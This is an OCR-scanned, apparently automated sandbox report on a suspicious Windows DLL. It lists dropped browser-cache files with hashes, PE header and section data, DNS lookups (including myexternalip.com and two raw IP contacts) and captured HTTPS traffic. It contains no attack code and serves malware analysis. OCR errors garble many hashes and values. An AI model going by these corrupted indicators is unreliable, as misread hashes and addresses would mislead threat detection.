E6DA934C90931C6089ADB3D213DDD70C7104D0A182A98AB1C663CEDAE37F83A1
D5F874DF89D82CC819B7D591766300FC701FOE1FFC6055D4CC4BA55F10674F88EDDAS65EB1FA57886AC16A57926EBBBCI9A108D45D057D76B904383247CE7EA!
false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\WJ8I20L4\AANuZgF[1].png

Preview:
PNG........ IHDR.....cvens a...pHYs.......... +....IDATX..S]HSq...~.F.af...j.i.(coeee . [JE.C.. (N 5@ X D.SMLM; 20 201 8S._|LEEAL..... *$Q...#N;.d2.a.UU.
r"#h..k2..<.8.$>L..,... 6. .Fhmrst+.3Y..(.0..UB\..G........ K..../l.q...E..>EQ..+].Y..S.0K... P.%.z....h.=.C.>.".YD....1."3x......z.1.....3dId. @4U..iG*...Q....[c_kg.h...._~.?
6....U.N...68."...Pv*.$h....S.....7..h.C"1.".1.,..>. ...L.sF.<.)..}X.w...J..n[u..V..g...E.+N.....O..R..Yt<.iy.jaOM.N_A.tida.._...... z...yR[@-..=x.....b'h.jmd
Jowooooo..P.B.p9...U..WwQ.EJNLpi. XJ.... X..B...;6..HT.S xz....a.(k...f.#.42..Z g.9......$Z..@y........ | = IEND.B

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8I120L4\AAOLNyR[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 25865

Entropy (8bit):  7.962326772935168

Encrypted: false

SSDEEP: 768:NjCld4F9Qp5bs6vZZjZzOaERKEY87e6KSQIJ/po:N1FytiglgP6ol

MDS5: 1DOAABFDCIOFBAOD48COD09DD457F990C

SHA1L: 747C830C9AFEECF9CE7E73FED1B7FBC32BCC3038

SHA-256: CB57BF3246A1057B1018428CF1297E87888AD1D6D0OCA1D8C6C2755FB6F9486C9

SHA-512: B8845B8E152E07F97DED013A18877EE10B64213A8206FDF15904650B64EB8468C25145FEE219FEA93DCB5C1FEF1FB2308640CA581D75F5045593C104D1E74CC¢
Malicious: false

Reputation: unknown

Preview:

h.J.%....&....(XM.\V.m;..i..a6.J.L.J.&(.1L...b...1@....V..m..".E.a6.0.6..+..E....p..i,,!Z....\,.(..=.......QqQ.6f.. )E.n.w.(.X....PS..JA.[E. X.c.m.16..P..LCH...LS..h.i.1.@.>.s.L..@
LBpmp.mp Mot ech U (XMLasL (X6

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8I120L4A\AAOMcmC[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3

Category: dropped

Size (bytes): 9113

Entropy (8bit):  7.932262057291051

Encrypted: false

SSDEEP: 192:QnHVSpkf3Gwup6vs4kiGul5hksvPV2h7A9g5u3ADfttu3M7m:0Hwlwe Gz 7ksHV47bMOfttk9

MD5: 105904BC4F757E957DA59BBFFB5A71CA

SHA1L: D7017F7712A01676691DEC10ACCE9D6E249C9717

SHA-256: 136F4D1B4B914A680959F259383CD118BEC75DC376C200976EEDDA45F6FEC7ACD

SHA-512: 8BCA9606DBO6A5SFDDOBCA4AEEA4B19ECC35497EFDIFC6E2B6544663CAC3CEBEA1BDFI0BF61651B7F1EAE87C1958F0B4803503443894682D2ABFD6AFF016BCC
106

Malicious: false

Reputation: unknown

Preview:

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP JQRO....... &..&05-500000000000000000000000O0000000OOO0000

1fG-Z=Qt.AICTH..hLR).\R. #......2&<.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\WJ8I20L4\AAONDBDb[1].jpg

Process: C:\Program Files (x86)\Internet Exploren\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: dropped

Size (bytes): 2544

Entropy (8bit):  7.813011384616667

Encrypted: false

SSDEEP: 48:QfAUETAqWPWIX11ds1RMI1IRqRXFApwI/NVIVY Q/vIdSIFBOfw6aYrb2/Lr:Qf7EYW91d9RGIE/AIgWG+Yra/Lr

MD5: F85AC5BDAE345F0B3C81B08B65006C8B

SHAL: 54EB6E9E27D271AFAD5FF469878844DF74B9BD05

SHA-256: 53DD27F6E89D1538A874221FBFDFB7C4EB28065DC50A44E6C267070FF212B36A

SHA-512: 5BD6D61F043DA89COFA2851DC190128F97945971C25065818B7F7AB7BA30DE973E8FIA2448EBC955572A90651A0816099369F047533A28DB7E682DB38C29FDF8
Malicious: false

Reputation: unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\WJ8I20L4\AAONDBDb[1].jpg

Preview:

...................... 2. (N p>. +.BM.WpQ.8Z2.3.%_d.0......2+.2. ..N]Y.4).dj7.... .Z.R.E._2..-.T.*Rr.=...&0.. sL.N..U.Hy...m..
.De..R$(...r.,... YT2.".9%.6..H#.1].U;G.....0.j.w.p.Z...I13...4... .MD]>.].t.>[..LM..-.r..@..bS....... ~.fa-8.c....C..d.J...u.)Q.Eb.$O%v....I.*....Z.e"....S.
.GC..T.U.9.4][.Xe..jvg.....(..0.....P.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\WJ8I120L4\AAOODY6[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

10669

7.944995609950948

false

192:QoXgDICeTsgETtUTSUHEWxt00ohO2X+cnf7AZMJJ:bXgDEeaTeTsvWx65I+csZ0

F6C9BA606C2227F32C1BFC3E01A66F7C

BOOFDC2556628F1B181AA71756FBBA534773A5E3
D4E72F26D25F3A981B308108C1A8D7581ABDC53585F8DB41FDOFA55039A82983

BE3C9C33F678CD8CB9BF7D7A16301B89ABA4109D5E937DAA9605ED1F8C19F4B3366A87CC863E4572EC9115A07C245DD5379D2F753F4EBBC8183B5E1F7F0ODD!
2

false

unknown

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-50000000000000000000000000O0O00OO0O0000

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8I120L4\AAOOq7BI[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

15223

7.927988742546826

false
192:Q2tt8Devdq840WxJc/HAYR4FLulZkahJX70J6myfx8UavxXg6M5u5BDVUHOSXrQ8:Ntt8KujeH4KsahJcJAfRhUSWHwij457W
1710C688BC2B9410DA409D99CCFB2ADA

FCB215BC4643039BDB5D367BDC93764859BB6256
30439A3B437B1E99FAB35FB9824CE9311F33DD64F4CFEFF309DDCFA858AF1D0D
330A91B11B08704A4C967C3D6ECDB35A5FC6FE4996685500D200C1E29267899C350EC1A6577E705088E2BB5517819B67361FB40197995B61110C0A9B0C038620
false

unknown

AD.&. T P 1@ b (Ao (o 4B (oo D P X K P LW, BT 5#. &0 X (0 kD.2Y2.0. D (. @..RARO....).b.5(.......\P...S.q@..A)..]. cR.*?Z
C@.4.0)W..kH4. F(... ...1..\P...@...

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:

MD5:

PE32+ executable (DLL) (GUI) x86-64, for MS Windows
5.9798781535336065

e Win64 Dynamic Link Library (generic) (102004/3)
86.43%

Win64 Executable (generic) (12005/4) 10.17%
Generic Win/DOS Executable (2004/3) 1.70%
DOS Executable Generic (2002/1) 1.70%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.01%

TWsmloYqC6.dll
1318026

e o o o

fd6992463689acf855ef55d06a01061a
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General
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name Virtual Address
text 0x1000

.rdata 0xfa000

.data 0x112000
.pdata 0x13f000
_RDATA 0x145000

.reloc 0x146000
Imports

Exports

Copyright Joe Security LLC 2021

Virtual Size

0xf8f20

0x174b0

0x2c110

0x5478

Oxf4

0x9bc

Raw Size

0xf9000

0x17600

0x2b000

0x5600

0x200

0xa00

Xored PE

False

False

False

False

False

False

74f0e4ecccdceOed

0x1800d7cec

text

false

0x180000000

windows gui

d8b3968a08b12e8cedbleec04eb5c86ad910145¢

8b971c2c4c9a020eb274¢36db20bc0e1b203a7909d63f4
8f99bef5594110929f

e4lbbccea6c235771ebddfdchbc4de88f9179bcalc9b31d8
d037e7d4a097b83714f14clec29d3eee3f3c8183ff26361
1e368ae7cdbb5955997464e5a74b4afbbs

24576:TqSPG9Jg6TYbmGBti9efojVpVwKYs1tRCS7SP
FL3EOGTWqG5QVEZAJ24GOy2ioLi: TyWbmGBtf9efoj
VpVWKYS1tR/7SPFL3H

is program cannot be run in DOS mode....$.

<..R..

R..R..V..R..Q..R.W.R..S..R..S..R..V..R..Q..R..
W..RXV..RhW..R.V..RhV. RhR.RhP. R

EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

0x6151B21F [Mon Sep 27 11:59:27 2021 UTC]

o o O o O o

126feach5b6732adladed77f47cfaf6d

ZLIB Complexity

0.295246415349

0.483299214572

0.397074854651

0.513444767442

0.31640625

0.532421875

File Type

data

data

data

data

data

data

Entropy

5.63118794524

5.581393526

5.26932882236

5.82112562154

2.447376104

5.39129310089

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ
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Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 28, 2021 09:52:37.337517023 CEST 192.168.2.3 8.8.8.8 0x8346 Standard query  www.msn.com A (IP address) IN (0x0001)
()

Sep 28, 2021 09:52:40.574934959 CEST 192.168.2.3 8.8.8.8 0x3207 Standard query  web.vortex A (IP address) IN (0x0001)
(0) .data.msn.com

Sep 28, 2021 09:52:41.106991053 CEST 192.168.2.3 8.8.8.8 0x3e28 Standard query  geolocatio A (IP address) IN (0x0001)
0) n.onetrust.com

Sep 28, 2021 09:52:41.221694946 CEST 192.168.2.3 8.8.8.8 0x3cl17 Standard query  contextual A (IP address) IN (0x0001)
0) .media.net

Sep 28, 2021 09:52:41.607708931 CEST 192.168.2.3 8.8.8.8 0x95e2 Standard query  btloader.com A (IP address) IN (0x0001)
)

Sep 28, 2021 09:52:42.243311882 CEST 192.168.2.3 8.8.8.8 0x15df Standard query  ad.doublec A (IP address) IN (0x0001)
0) lick.net

Sep 28, 2021 09:52:42.247667074 CEST 192.168.2.3 8.8.8.8 Ox1ce5 Standard query  ad-delivery.net A (IP address) IN (0x0001)
(©)

Sep 28, 2021 09:52:42.862327099 CEST 192.168.2.3 8.8.8.8 0x81d Standard query  lg3.media.net A (IP address) IN (0x0001)
)

Sep 28, 2021 09:52:43.589735031 CEST 192.168.2.3 8.8.8.8 0x7b72 Standard query  hblg.media.net A (IP address) IN (0x0001)
)

Sep 28, 2021 09:52:44.186686039 CEST 192.168.2.3 8.8.8.8 0x469c Standard query  cvision.media.net A (IP address) IN (0x0001)
)

Sep 28, 2021 09:52:44.443973064 CEST 192.168.2.3 8.8.8.8 0x4684 Standard query  srtb.msn.com A (IP address) IN (0x0001)
)

Sep 28, 2021 09:53:14.811573982 CEST 192.168.2.3 8.8.8.8 0x7859 Standard query  www.amazon A (IP address) IN (0x0001)
0) .com

Sep 28, 2021 09:53:44.847604036 CEST 192.168.2.3 8.8.8.8 0x4725 Standard query  www.amazon A (IP address) IN (0x0001)
0) .com

Sep 28, 2021 09:53:45.921834946 CEST 192.168.2.3 8.8.8.8 0x21f4 Standard query  www.yahoo.com A (IP address) IN (0x0001)
(©)

Sep 28, 2021 09:53:47.622590065 CEST 192.168.2.3 8.8.8.8 Oxb4e5 Standard query  www.google.com A (IP address) IN (0x0001)
)

Sep 28, 2021 09:53:52.908422947 CEST 192.168.2.3 8.8.8.8 Ox4dbc Standard query  myexternalip.com A (IP address) IN (0x0001)
(©)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 28, 2021 8.8.8.8 192.168.2.3 0x8346 No error (0) www.msn.com  www-msn-com.a-0003.a- CNAME IN (0x0001)

09:52:37.354342937 msedge.net (Canonical

CEST name)

Sep 28, 2021 8.8.8.8 192.168.2.3 0x3207 No error (0) web.vortex web.vortex.data.microsoft CNAME IN (0x0001)

09:52:40.604866982 .data.msn.com .com (Canonical

CEST name)

Sep 28, 2021 8.8.8.8 192.168.2.3 0x3e28 No error (0) geolocatio 104.20.184.68 A (IP address)  IN (0x0001)

09:52:41.129858971 n.onetrust.com

CEST

Sep 28, 2021 8.8.8.8 192.168.2.3 0x3e28 No error (0) geolocatio 104.20.185.68 A (IP address)  IN (0x0001)

09:52:41.129858971 n.onetrust.com

CEST

Sep 28, 2021 8.8.8.8 192.168.2.3 0x3c17 No error (0) contextual 23.211.6.95 A (IP address)  IN (0x0001)

09:52:41.244630098 .media.net

CEST

Sep 28, 2021 8.8.8.8 192.168.2.3 0x95e2 No error (0) btloader.com 172.67.70.134 A (IP address)  IN (0x0001)

09:52:41.629616022

CEST

Sep 28, 2021 8.8.8.8 192.168.2.3 0x95e2 No error (0) btloader.com 104.26.7.139 A (IP address)  IN (0x0001)

09:52:41.629616022

CEST
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Timestamp Source IP

Sep 28, 2021 8.8.8.8
09:52:41.629616022
CEST

Sep 28, 2021 8.8.8.8
09:52:42.269443035
CEST

Sep 28, 2021 8.8.8.8
09:52:42.269443035
CEST

Sep 28, 2021 8.8.8.8
09:52:42.269443035
CEST

Sep 28, 2021 8.8.8.8
09:52:42.271830082
CEST

Sep 28, 2021 8.8.8.8
09:52:42.271830082
CEST

Sep 28, 2021 8.8.8.8
09:52:42.881839037
CEST

Sep 28, 2021 8.8.8.8
09:52:43.610820055
CEST

Sep 28, 2021 8.8.8.8
09:52:44.208164930
CEST

Sep 28, 2021 8.8.8.8
09:52:44.464039087
CEST

Sep 28, 2021 8.8.8.8
09:52:44.464039087
CEST

Sep 28, 2021 8.8.8.8
09:53:14.846839905
CEST

Sep 28, 2021 8.8.8.8
09:53:14.846839905
CEST

Sep 28, 2021 8.8.8.8
09:53:44.865613937
CEST

Sep 28, 2021 8.8.8.8
09:53:44.865613937
CEST

Sep 28, 2021 8.8.8.8
09:53:44.865613937
CEST

Sep 28, 2021 8.8.8.8
09:53:45.940496922
CEST

Sep 28, 2021 8.8.8.8
09:53:45.940496922
CEST

Sep 28, 2021 8.8.8.8
09:53:45.940496922
CEST

Sep 28, 2021 8.8.8.8
09:53:47.645009041
CEST

Sep 28, 2021 8.8.8.8
09:53:52.927294016
CEST

Sep 28, 2021 8.8.8.8
09:54:14.167988062
CEST

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

HTTP Request Dependency Graph

Copyright Joe Security LLC 2021

Trans ID

0x95e2

Ox1ce5

Ox1ce5

Ox1ce5

0x15df

0x15df

0x81d

0x7b72

0x469¢c

0x4684

0x4684

0x7859

0x7859

0x4725

0x4725

0x4725

0x21f4

0x21f4

0x21f4

Oxb4e5

Ox4dbc

0x7d

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

btloader.com

ad-delivery.net

ad-delivery.net

ad-delivery.net

ad.doublec dart.l.doubleclick.net
lick.net

dart.l.dou
bleclick.net

Ig3.media.net

hblg.media.net

cvision.me cvision.media.net.edgeke
dia.net y.net

srtb.msn.com www.msn.com

www.msn.com  www-msn-com.a-0003.a-
msedge.net

www.amazon tp.47cf2c8c9-

.com frontier.amazon.com
tp.47cf2c8c9- www.amazon.com.edgek
frontie ey.net

r.amazon.com

Wwww.amazon tp.47cf2c8c9-
.com frontier.amazon.com

tp.47cf2c8c9- WwWw-amazon-
frontie com.customer.fastly.net
r.amazon.com

Www-amazon-
com.custo
mer.fastly.net

www.yahoo.com new-fp-
shed.wgl.b.yahoo.com

new-fp-she
d.wgl.b.ya
hoo.com

new-fp-she
d.wgl.b.ya
hoo.com
www.google
.com

myexternal
ip.com

prda.aadg. www.tm.a.prd.aadg.akadn
msidentity.com  s.net

Address
104.26.6.139

104.26.2.70

172.67.69.19

104.26.3.70

142.250.186.70

23.211.6.95

23.211.6.95

162.219.225.118

87.248.100.216

87.248.100.215

142.250.185.196

34.117.59.81

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)
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e https:

.

.
.
.

geolocation.onetrust.com
btloader.com
ad-delivery.net
ad.doubleclick.net

e 161.35.19.83

e 161.35.29.127

® Wwww.amazon.com

e www.yahoo.com

e www.google.com

e myexternalip.com

HTTPS Proxied Packets

Session ID Source IP Source Port

0 192.168.2.3 49775
kBytes

Timestamp transferred Direction

2021-09-28 07:52:41 UTC 0 ouT

2021-09-28 07:52:41 UTC 0 IN

2021-09-28 07:52:41 UTC 0 IN

Session ID Source IP Source Port

1 192.168.2.3 49788
kBytes

Timestamp transferred Direction

2021-09-28 07:52:41 UTC 0 ouT

Copyright Joe Security LLC 2021

Destination IP Destination Port Process

104.20.184.68 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /cookieconsentpub/vl/geo/location HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: geolocation.onetrust.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 07:52:41 GMT

Content-Type: text/javascript

Content-Length: 182

Connection: close

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Server: cloudflare

CF-RAY: 695b64ca0f65690a-FRA

Data Raw: 6a 73 6f 6e 46 65 65 64 28 7b 22 63 6f 75 6e 74 72 79 22 3a 22 43 48 22 2¢ 22 73 74 61 74 65 22 3a 22 5a 48
222c 2273 74 61 74 65 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2¢ 22 7a 69 70 63 6f 64 65 22 3a 22 38 31 35 32 22
2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 6¢ 61 74 69 74 75 64 65 22 3a 22
34 37 2e 34 33 30 30 30 22 2c 22 6¢ 6f 6e 67 69 74 75 64 65 22 3a 22 38 2e 35 37 31 38 30 22 2c 22 63 69 74 79 22 3a
22 5a 75 72 69 63 68 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 45 55 22 7d 29 3b

Data Ascii: jsonFeed({"country":"CH","state":"ZH","stateName":"Zurich","zipcode":"8152","timezone":"Europe/Zurich","lati
tude":"47.43000","longitude":"8.57180","city":"Zurich","continent":"EU"});

Destination IP Destination Port Process
172.67.70.134 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /tag?0=6208086025961472&upapi=true HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: btloader.com

Connection: Keep-Alive
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kBytes

Timestamp transferred

2021-09-28 07:52:41 UTC 1

2021-09-28 07:52:41 UTC 1

2021-09-28 07:52:41 UTC 2

2021-09-28 07:52:41 UTC 3

2021-09-28 07:52:41 UTC 5

2021-09-28 07:52:41 UTC 6

2021-09-28 07:52:41 UTC 7

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 07:52:41 GMT

Content-Type: application/javascript

Content-Length: 10308

Connection: close

Access-Control-Allow-Origin: *

Cache-Control: public, max-age=1800, must-revalidate

Etag: "d8733c72977f7f00ebdfe201a7976112"

Vary: Origin

Via: 1.1 google

CF-Cache-Status: HIT

Age: 690

Accept-Ranges: bytes

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\\v3?s=KTcMyJRk9xa30hoDQBOAAtMR%2BPuMWF
eVp4plgPHzpi%2BioEOMTiPd35uBVFMzfQLMI9BkyuvoAGRgDzJIMIulfoczahyGYB2vDgKQpLhNjloHHVpaKPHuajzJl
KnigD1Fg%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 695b64ccdc4c6977-FRA

Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28
65 2¢ 69 2c 63 2c 6¢ 29 7h 72 65 74 75 72 6e 20 6e 65 77 28 63 3d 63 7c 7c 50 72 6f 6d 69 73 65 29 28 66 75 6e 63 74
69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 74 72 79 7b 72 28 6c 2e 6e 65 78 74 28 65 29 29 7d
63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 74 72 79 7b 72 28 6¢ 2e 74 68
72 6f 77 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 7
220 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6¢ 75 65 29 3a 28 28 74 3d 65 2e 76 61 6¢ 75 65 29 69 6e 73 74 61 6e
63 65 6f 66 20 63 3f 74 3a 6e 65 77 20 63 28 66 75 6e 63 74 69 6f

Data Ascii: [function(){"use strict";function r(e,i,c,l){return new(c=c||Promise)(function(n,t){function o(e){try{r(l.next(e))}cat
ch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new
c(functio

Data Raw: 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29
7b 69 66 28 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20
61 6¢ 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 63 3b 29 74 72 79 7b 69 66 28 61 3d 31
2c 72 26 26 28 69 3d 32 26 74 5b 30 5d 3f 72 2e 72 65 74 75 72 6e 3a 74 5b 30 5d 3f 72 2e 74 68 72 6f 77 7c 7c 28 28 69
3d 72 2e 72 65 74 75 72 6e 29 26 26 69 2e 63 61 6¢ 6¢ 28 72 29 2¢ 30 29 3a 72 2e 6e 65 78 74 29 26 26 21 28 69 3d 69
2e 63 61 6¢ 6¢ 28 72 2c 74 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 69 3b 73 77 69 74 63 68 28 72 3d 30 2
€ 69 26 26 28 74 3d 5b 32 26 74 5b 30 5d 2c 69 2e 76 61 6¢ 75 65

Data Ascii: eturn function(e){return function(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)try
{if(a=1,r&&(i=2&t[0] ?r.return:t[0] ?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&(t=
[2&t[0],i.value

Data Raw: 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 29 2e 61 70 70 65 6e
64 43 68 69 6¢ 64 28 65 29 7d 29 7d 76 61 72 20 75 2c 61 2¢ 64 2c 62 2c 6d 3b 75 3d 22 36 32 30 38 30 38 36 30 32 35
39 3631 34 37 32 22 2c 61 3d 22 62 74 6¢ 6f 61 64 65 72 2e 63 6f 6d 22 2c 64 3d 22 61 70 69 2e 62 74 6¢ 6f 61 64 65 72
2e 63 6f 6d 22 2c 62 3d 22 32 2e 30 2e 32 2d 32 2d 67 66 64 63 39 30 35 34 22 2c 6d 3d 22 22 3b 76 61 72 20 6f 3d 7b 22
6d 73 6e 2e 63 6f 6d 22 3a 7b 22 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 74 72 75 65 2¢ 22 6d 6f 62 69 6¢ 65
5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 66 61 6¢ 73 65 2¢ 22 77 65 62 73 69 74 65 5f 69 64 22 3a 22 35 36
3731373337 333838363935353532227d 7d 2c 77 3d

Data Ascii: ndow.document.documentElement).appendChild(e)})}var u,a,d,b,m;u="6208086025961472",a="btloader.com

" .d="api.btloader.com”,b="2.0.2-2-gfdc9054",m="";var o={"msn.com":{"content_enabled":true,"mobile_content_enab
led":false,"website_id":"5671737388695552"}},w=

Data Raw: 66 28 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 26 26 28 74 3d 21 30 2c 70 2e 77 65 62 73 69 74 65
49 44 3d 6f 5b 6e 5d 2e 77 65 62 73 69 74 65 5f 69 64 2c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d 6f 5b 6e 5d
2e 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 2¢ 70 2e 6d 6f 62 69 6¢ 65 43 6f 6€ 74 65 6 74 45 6e 61 62 6¢ 65 64 3d
6f 5b 6e 5d 2e 6d 6f 62 69 6¢ 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 29 3b 74 7c 7c 28 28 6€ 65 77 20 49 6d
61 67 65 29 2e 73 72 63 3d 22 2f 2f 22 2b 64 2b 22 2f 6¢ 3f 65 76 65 6e 74 3d 75 6e 6b 6e 6f 77 6e 44 6f 6d 61 69 6e 26 6f
72 67 3d 22 2b 75 2b 22 26 64 6f 6d 61 69 6e 3d 22 2b 65 29 7d 28 29 2c 77 69 6e 64 6f 77 2e 5f 5f 62 74 5f 74 61 67 5f
64 3d 7b 6f 72 67 49 44 3a 75 2c 64 6f 6d 61 69 6e 3a

Data Ascii: f(n.toLowerCase()))&&(t=!0,p.websitelD=0[n].website_id,p.contentEnabled=o[n].content_enabled,p.mob
ileContentEnabled=o[n].mobile_content_enabled);t||((new Image).src="//"+d+"/I?event=unknownDomain&org="+u+"&do
main="+e)}(),window.__bt_tag_d={orgID:u,domain:

Data Raw: 7b 76 61 72 20 74 3d 63 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e
